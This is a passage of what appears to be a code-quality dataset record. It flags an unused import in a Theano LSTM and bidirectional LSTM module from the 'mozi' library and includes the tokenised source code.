"index": 173 }, { "content": " def _train_fprop(self, state_below):\n forward = self.get_forward_output(state_below)\n backward = self.get_backward_output(state_below)\n if self.output_mode == 'sum':\n output = forward + backward\n elif self.output_mode == 'concat':\n output = T.concatenate([forward, backward], axis=2)\n else:\n raise Exception('output mode is not sum or concat')\n if self.return_sequences==False:\n return output[:,self.return_idx,:]\n elif self.return_sequences==True:\n return output\n else:\n raise Exception('Unexpected output shape for return_sequences')", "metadata": "root.BiLSTM._train_fprop", "header": "['class', 'BiLSTM', '(', 'Template', ')', ':', '___EOS___']", "index": 195 } ]
[ { "span": "from mozi.weight_init import OrthogonalWeight, GaussianWeight, Identity", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 71 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "moz", "i_", "._", "utils_", "._", "theano", "\\u", "utils_", "import_", "shared", "\\u", "zeros_", ",_", "allo", "c\\u", "zero", "s", "\\u", "matrix_", ",_", "shared", "\\u", "ones_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "moz", "i_", "._", "layers_", "._", "template_", "import_", "Template_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "moz", "i_", "._", "weight", "\\u", "init_", "import_", "Ortho", "gon", "al", "Weight_", ",_", "Gaussian", "Weight_", ",_", "Identity_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "theano_", "._", "tensor_", "as_", "T_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "theano_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "LSTM", "_", "(_", "Template_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "LSTM", "_", "(_", "Template_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "input", "\\u", "dim_", ",_", "output", "\\u", "dim_", ",_", "truncat", "e\\u", "gradient_", "=_", "-_", "1_", ",_", "return", "\\u", "sequences_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "weight", "\\u", "init_", "=_", "Ortho", "gon", "al", "Weight_", "(_", ")_", ",_", "inner", "\\u", "init_", "=_", "Gaussian", "Weight_", "(_", "mean_", "=_", "0_", ",_", "std_", "=_", "0.1_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "input", "\\u", "dim_", "=_", "input", "\\u", "dim_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "output", "\\u", "dim_", "=_", "output", "\\u", "dim_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "truncat", "e\\u", "gradient_", "=_", "truncat", "e\\u", "gradient_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "return", "\\u", "sequences_", "=_", "return", "\\u", "sequences_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "W", "\\u", "i_", "=_", "weight", "\\u", "init_", "(_", "(_", "self_", "._", "input", "\\u", "dim_", ",_", "self_", "._", "output", "\\u", "dim_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "U", "\\u", "i_", "=_", "inner", "\\u", "init_", "(_", "(_", "self_", "._", "output", "\\u", "dim_", ",_", "self_", "._", "output", "\\u", "dim_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "b", "\\u", "i_", "=_", "shared", "\\u", "zeros_", "(_", "(_", "self_", "._", "output", "\\u", "dim_", ")_", ",_", "name_", "=_", "'", "b", "\\u", "i", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "W", "\\u", "f_", "=_", "weight", "\\u", "init_", "(_", "(_", "self_", "._", "input", "\\u", "dim_", ",_", "self_", "._", "output", "\\u", "dim_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "U", "\\u", "f_", "=_", "inner", "\\u", "init_", "(_", "(_", "self_", "._", "output", "\\u", "dim_", ",_", "self_", "._", "output", "\\u", "dim_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "b", "\\u", "f_", "=_", "shared", "\\u", "ones_", "(_", "(_", "self_", "._", "output", "\\u", "dim_", ")_", ",_", "name_", "=_", "'", "b", "\\u", "f", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "W", "\\u", "c_", "=_", "weight", "\\u", "init_", "(_", "(_", "self_", "._", "input", "\\u", "dim_", ",_", "self_", "._", "output", "\\u", "dim_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "U", "\\u", "c_", "=_", "inner", "\\u", "init_", "(_", "(_", "self_", "._", "output", "\\u", "dim_", ",_", "self_", "._", "output", "\\u", "dim_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "b", "\\u", "c_", "=_", "shared", "\\u", "zeros_", "(_", "(_", "self_", "._", "output", "\\u", "dim_", ")_", ",_", "name_", "=_", "'", "b", "\\u", "c", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "W", "\\u", "o_", "=_", "weight", "\\u", "init_", "(_", "(_", "self_", "._", "input", "\\u", "dim_", ",_", "self_", "._", "output", "\\u", "dim_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "U", "\\u", "o_", "=_", "inner", "\\u", "init_", "(_", "(_", "self_", "._", "output", "\\u", "dim_", ",_", "self_", "._", "output", "\\u", "dim_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "b", "\\u", "o_", "=_", "shared", "\\u", "zeros_", "(_", "(_", "self_", "._", "output", "\\u", "dim_", ")_", ",_", "name_", "=_", "'", "b", "\\u", "o", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "params_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "W", "\\u", "i_", ",_", "self_", "._", "U", "\\u", "i_", ",_", "self_", "._", "b", "\\u", "i_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "W", "\\u", "c_", ",_", "self_", "._", "U", "\\u", "c_", ",_", "self_", "._", "b", "\\u", "c_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "W", "\\u", "f_", ",_", "self_", "._", "U", "\\u", "f_", ",_", "self_", "._", "b", "\\u", "f_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "W", "\\u", "o_", ",_", "self_", "._", "U", "\\u", "o_", ",_", "self_", "._", "b", "\\u", "o_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "LSTM", "_", "(_", "Template_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "step_", "(_", "self_", ",_", "xi", "\\u", "t_", ",_", "xf", "\\u", "t_", ",_", "xo", "\\u", "t_", ",_", "xc", "\\u", "t_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "h", "\\u", "tm1", "_", ",_", "c\\u", "tm1", "_", ",_", "u\\u", "i_", ",_", "u\\u", "f_", ",_", "u\\u", "o_", ",_", "u\\u", "c_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i", "\\u", "t_", "=_", "T_", "._", "nnet", "_", "._", "sigmoid_", "(_", "xi", "\\u", "t_", "+_", "T_", "._", "dot_", "(_", "h", "\\u", "tm1", "_", ",_", "u\\u", "i_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f", "\\u", "t_", "=_", "T_", "._", "nnet", "_", "._", "sigmoid_", "(_", "xf", "\\u", "t_", "+_", "T_", "._", "dot_", "(_", "h", "\\u", "tm1", "_", ",_", "u\\u", "f_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "o", "\\u", "t_", "=_", "T_", "._", "nnet", "_", "._", "sigmoid_", "(_", "xo", "\\u", "t_", "+_", "T_", "._", "dot_", "(_", "h", "\\u", "tm1", "_", ",_", "u\\u", "o_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g", "\\u", "t_", "=_", "T_", "._", "tanh_", "(_", "xc", "\\u", "t_", "+_", "T_", "._", "dot_", "(_", "h", "\\u", "tm1", "_", ",_", "u\\u", "c_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c\\u", "t_", "=_", "f", "\\u", "t_", "*_", "c\\u", "tm1", "_", "+_", "i", "\\u", "t_", "*_", "g", "\\u", "t_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "h", "\\u", "t_", "=_", "o", "\\u", "t_", "*_", "T_", "._", "tanh_", "(_", "c\\u", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "h", "\\u", "t_", ",_", "c\\u", "t_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "LSTM", "_", "(_", "Template_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "train", "\\u", "fpro", "p_", "(_", "self_", ",_", "state", "\\u", "below_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "X_", "=_", "state", "\\u", "below_", "._", "dims", "huff", "le_", "(_", "(_", "1_", ",_", "0_", ",_", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "xi_", "=_", "T_", "._", "dot_", "(_", "X_", ",_", "self_", "._", "W", "\\u", "i_", ")_", "+_", "self_", "._", "b", "\\u", "i_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xf_", "=_", "T_", "._", "dot_", "(_", "X_", ",_", "self_", "._", "W", "\\u", "f_", ")_", "+_", "self_", "._", "b", "\\u", "f_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xc_", "=_", "T_", "._", "dot_", "(_", "X_", ",_", "self_", "._", "W", "\\u", "c_", ")_", "+_", "self_", "._", "b", "\\u", "c_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xo", "_", "=_", "T_", "._", "dot_", "(_", "X_", ",_", "self_", "._", "W", "\\u", "o_", ")_", "+_", "self_", "._", "b", "\\u", "o_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "outputs_", ",_", "memori", "es_", "]_", ",_", "updates_", "=_", "theano_", "._", "scan_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "step_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "sequences_", "=_", "[_", "xi_", ",_", "xf_", ",_", "xo", "_", ",_", "xc_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "output", "s", "\\u", "info_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "T_", "._", "unb", "road", "cast_", "(_", "allo", "c\\u", "zero", "s", "\\u", "matrix_", "(_", "X_", "._", "shape_", "[_", "1_", "]_", ",_", "self_", "._", "output", "\\u", "dim_", ")_", ",_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "T_", "._", "unb", "road", "cast_", "(_", "allo", "c\\u", "zero", "s", "\\u", "matrix_", "(_", "X_", "._", "shape_", "[_", "1_", "]_", ",_", "self_", "._", "output", "\\u", "dim_", ")_", ",_", "1_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "non", "\\u", "sequences_", "=_", "[_", "self_", "._", "U", "\\u", "i_", ",_", "self_", "._", "U", "\\u", "f_", ",_", "self_", "._", "U", "\\u", "o_", ",_", "self_", "._", "U", "\\u", "c_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "truncat", "e\\u", "gradient_", "=_", "self_", "._", "truncat", "e\\u", "gradient_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "return", "\\u", "sequences_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "outputs_", "._", "dims", "huff", "le_", "(_", "(_", "1_", ",_", "0_", ",_", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "outputs_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Bi", "LSTM", "_", "(_", "Template_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Bid", "irect", "ion", " ", "LSTM", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Bi", "LSTM", "_", "(_", "Template_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "input", "\\u", "dim_", ",_", "output", "\\u", "dim_", ",_", "weight", "\\u", "init_", "=_", "Ortho", "gon", "al", "Weight_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "inner", "\\u", "init_", "=_", "Gaussian", "Weight_", "(_", "mean_", "=_", "0_", ",_", "std_", "=_", "0.1_", ")_", ",_", "truncat", "e\\u", "gradient_", "=_", "-_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "output", "\\u", "mode_", "=_", "'", "conc", "at", "'_", ",_", "return", "\\u", "sequences_", "=_", "False_", ",_", "return", "\\u", "idx_", "=_", "-_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "input", "\\u", "dim_", "=_", "input", "\\u", "dim_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "output", "\\u", "dim_", "=_", "output", "\\u", "dim_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "truncat", "e\\u", "gradient_", "=_", "truncat", "e\\u", "gradient_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "output", "\\u", "mode_", "=_", "output", "\\u", "mode_", "#", " ", "output", "\\u", "mode", " ", "is", " ", "eit", "her", " ", "sum", " ", "or", " ", "concatenate_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "return", "\\u", "sequences_", "=_", "return", "\\u", "sequences_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "return", "\\u", "idx_", "=_", "return", "\\u", "idx_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "forward", " ", "weights_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "W", "\\u", "i_", "=_", "weight", "\\u", "init_", "(_", "(_", "self_", "._", "input", "\\u", "dim_", ",_", "self_", "._", "output", "\\u", "dim_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "U", "\\u", "i_", "=_", "inner", "\\u", "init_", "(_", "(_", "self_", "._", "output", "\\u", "dim_", ",_", "self_", "._", "output", "\\u", "dim_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "b", "\\u", "i_", "=_", "shared", "\\u", "zeros_", "(_", "(_", "self_", "._", "output", "\\u", "dim_", ")_", ",_", "name_", "=_", "'", "b", "\\u", "i", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "W", "\\u", "f_", "=_", "weight", "\\u", "init_", "(_", "(_", "self_", "._", "input", "\\u", "dim_", ",_", "self_", "._", "output", "\\u", "dim_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "U", "\\u", "f_", "=_", "inner", "\\u", "init_", "(_", "(_", "self_", "._", "output", "\\u", "dim_", ",_", "self_", "._", "output", "\\u", "dim_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "b", "\\u", "f_", "=_", "shared", "\\u", "ones_", "(_", "(_", "self_", "._", "output", "\\u", "dim_", ")_", ",_", "name_", "=_", "'", "b", "\\u", "f", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "W", "\\u", "c_", "=_", "weight", "\\u", "init_", "(_", "(_", "self_", "._", "input", "\\u", "dim_", ",_", "self_", "._", "output", "\\u", "dim_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "U", "\\u", "c_", "=_", "inner", "\\u", "init_", "(_", "(_", "self_", "._", "output", "\\u", "dim_", ",_", "self_", "._", "output", "\\u", "dim_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "b", "\\u", "c_", "=_", "shared", "\\u", "zeros_", "(_", "(_", "self_", "._", "output", "\\u", "dim_", ")_", ",_", "name_", "=_", "'", "b", "\\u", "c", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "W", "\\u", "o_", "=_", "weight", "\\u", "init_", "(_", "(_", "self_", "._", "input", "\\u", "dim_", ",_", "self_", "._", "output", "\\u", "dim_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "U", "\\u", "o_", "=_", "inner", "\\u", "init_", "(_", "(_", "self_", "._", "output", "\\u", "dim_", ",_", "self_", "._", "output", "\\u", "dim_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "b", "\\u", "o_", "=_", "shared", "\\u", "zeros_", "(_", "(_", "self_", "._", "output", "\\u", "dim_", ")_", ",_", "name_", "=_", "'", "b", "\\u", "o", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "back", "ward", " ", "weights_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "Wb", "\\u", "i_", "=_", "weight", "\\u", "init_", "(_", "(_", "self_", "._", "input", "\\u", "dim_", ",_", "self_", "._", "output", "\\u", "dim_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Ub", "\\u", "i_", "=_", "inner", "\\u", "init_", "(_", "(_", "self_", "._", "output", "\\u", "dim_", ",_", "self_", "._", "output", "\\u", "dim_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "bb", "\\u", "i_", "=_", "shared", "\\u", "zeros_", "(_", "(_", "self_", "._", "output", "\\u", "dim_", ")_", ",_", "name_", "=_", "'", "bb", "\\u", "i", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "Wb", "\\u", "f_", "=_", "weight", "\\u", "init_", "(_", "(_", "self_", "._", "input", "\\u", "dim_", ",_", "self_", "._", "output", "\\u", "dim_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Ub", "\\u", "f_", "=_", "inner", "\\u", "init_", "(_", "(_", "self_", "._", "output", "\\u", "dim_", ",_", "self_", "._", "output", "\\u", "dim_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "bb", "\\u", "f_", "=_", "shared", "\\u", "ones_", "(_", "(_", "self_", "._", "output", "\\u", "dim_", ")_", ",_", "name_", "=_", "'", "bb", "\\u", "f", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "Wb", "\\u", "c_", "=_", "weight", "\\u", "init_", "(_", "(_", "self_", "._", "input", "\\u", "dim_", ",_", "self_", "._", "output", "\\u", "dim_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Ub", "\\u", "c_", "=_", "inner", "\\u", "init_", "(_", "(_", "self_", "._", "output", "\\u", "dim_", ",_", "self_", "._", "output", "\\u", "dim_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "bb", "\\u", "c_", "=_", "shared", "\\u", "zeros_", "(_", "(_", "self_", "._", "output", "\\u", "dim_", ")_", ",_", "name_", "=_", "'", "bb", "\\u", "c", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "Wb", "\\u", "o_", "=_", "weight", "\\u", "init_", "(_", "(_", "self_", "._", "input", "\\u", "dim_", ",_", "self_", "._", "output", "\\u", "dim_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Ub", "\\u", "o_", "=_", "inner", "\\u", "init_", "(_", "(_", "self_", "._", "output", "\\u", "dim_", ",_", "self_", "._", "output", "\\u", "dim_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "bb", "\\u", "o_", "=_", "shared", "\\u", "zeros_", "(_", "(_", "self_", "._", "output", "\\u", "dim_", ")_", ",_", "name_", "=_", "'", "bb", "\\u", "o", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "params_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "W", "\\u", "i_", ",_", "self_", "._", "U", "\\u", "i_", ",_", "self_", "._", "b", "\\u", "i_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "W", "\\u", "c_", ",_", "self_", "._", "U", "\\u", "c_", ",_", "self_", "._", "b", "\\u", "c_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "W", "\\u", "f_", ",_", "self_", "._", "U", "\\u", "f_", ",_", "self_", "._", "b", "\\u", "f_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "W", "\\u", "o_", ",_", "self_", "._", "U", "\\u", "o_", ",_", "self_", "._", "b", "\\u", "o_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "Wb", "\\u", "i_", ",_", "self_", "._", "Ub", "\\u", "i_", ",_", "self_", "._", "bb", "\\u", "i_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "Wb", "\\u", "c_", ",_", "self_", "._", "Ub", "\\u", "c_", ",_", "self_", "._", "bb", "\\u", "c_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "Wb", "\\u", "f_", ",_", "self_", "._", "Ub", "\\u", "f_", ",_", "self_", "._", "bb", "\\u", "f_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "Wb", "\\u", "o_", ",_", "self_", "._", "Ub", "\\u", "o_", ",_", "self_", "._", "bb", "\\u", "o_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bi", "LSTM", "_", "(_", "Template_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "forward", "\\u", "step_", "(_", "self_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "xi", "\\u", "t_", ",_", "xf", "\\u", "t_", ",_", "xo", "\\u", "t_", ",_", "xc", "\\u", "t_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "h", "\\u", "tm1", "_", ",_", "c\\u", "tm1", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u\\u", "i_", ",_", "u\\u", "f_", ",_", "u\\u", "o_", ",_", "u\\u", "c_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i", "\\u", "t_", "=_", "T_", "._", "nnet", "_", "._", "sigmoid_", "(_", "xi", "\\u", "t_", "+_", "T_", "._", "dot_", "(_", "h", "\\u", "tm1", "_", ",_", "u\\u", "i_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f", "\\u", "t_", "=_", "T_", "._", "nnet", "_", "._", "sigmoid_", "(_", "xf", "\\u", "t_", "+_", "T_", "._", "dot_", "(_", "h", "\\u", "tm1", "_", ",_", "u\\u", "f_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "o", "\\u", "t_", "=_", "T_", "._", "nnet", "_", "._", "sigmoid_", "(_", "xo", "\\u", "t_", "+_", "T_", "._", "dot_", "(_", "h", "\\u", "tm1", "_", ",_", "u\\u", "o_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g", "\\u", "t_", "=_", "T_", "._", "tanh_", "(_", "xc", "\\u", "t_", "+_", "T_", "._", "dot_", "(_", "h", "\\u", "tm1", "_", ",_", "u\\u", "c_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c\\u", "t_", "=_", "f", "\\u", "t_", "*_", "c\\u", "tm1", "_", "+_", "i", "\\u", "t_", "*_", "g", "\\u", "t_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "h", "\\u", "t_", "=_", "o", "\\u", "t_", "*_", "T_", "._", "tanh_", "(_", "c\\u", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "h", "\\u", "t_", ",_", "c\\u", "t_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bi", "LSTM", "_", "(_", "Template_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "forward", "\\u", "output_", "(_", "self_", ",_", "state", "\\u", "below_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "X_", "=_", "state", "\\u", "below_", "._", "dims", "huff", "le_", "(_", "(_", "1_", ",_", "0_", ",_", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "xi_", "=_", "T_", "._", "dot_", "(_", "X_", ",_", "self_", "._", "W", "\\u", "i_", ")_", "+_", "self_", "._", "b", "\\u", "i_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xf_", "=_", "T_", "._", "dot_", "(_", "X_", ",_", "self_", "._", "W", "\\u", "f_", ")_", "+_", "self_", "._", "b", "\\u", "f_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xc_", "=_", "T_", "._", "dot_", "(_", "X_", ",_", "self_", "._", "W", "\\u", "c_", ")_", "+_", "self_", "._", "b", "\\u", "c_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xo", "_", "=_", "T_", "._", "dot_", "(_", "X_", ",_", "self_", "._", "W", "\\u", "o_", ")_", "+_", "self_", "._", "b", "\\u", "o_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", 